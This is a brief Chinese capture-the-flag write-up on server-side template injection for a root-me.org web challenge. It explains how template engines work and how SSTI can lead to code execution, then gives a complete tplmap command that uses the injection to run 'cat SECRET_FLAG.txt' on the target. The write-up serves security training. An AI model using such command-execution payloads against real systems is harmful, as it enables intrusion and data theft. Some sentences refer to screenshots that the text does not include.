靶机地址
模板引擎
模板的诞生是为了将显示与数据分离,模板技术多种多样,但其本质是将模板文件和数据通过模板引擎生成最终的HTML代码。服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
每种后端语言都有几种相应的模板引擎,就像数据库注入有多种数据库类型,要掌握全部模板引擎语法不太现实,所以我们只需要掌握通用的语法即可(类似于SQL语句)。
可见模板引擎解析了我们传递的运算,所以这里存在模板注入:
模板注入检测工具
可看到,该工具内置了目前各种语言主流的模板注入代码。
解题
python tplmap.py -X POST -d “nickname=1” -c “uid=wKgbZFwIcliZ10NaAwY0Ag==” -A “User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0” -u “http://challenge01.root-me.org/web-serveur/ch41/check” --os-cmd “cat SECRET_FLAG.txt”
通过该工具,即可进行模板注入:得到flag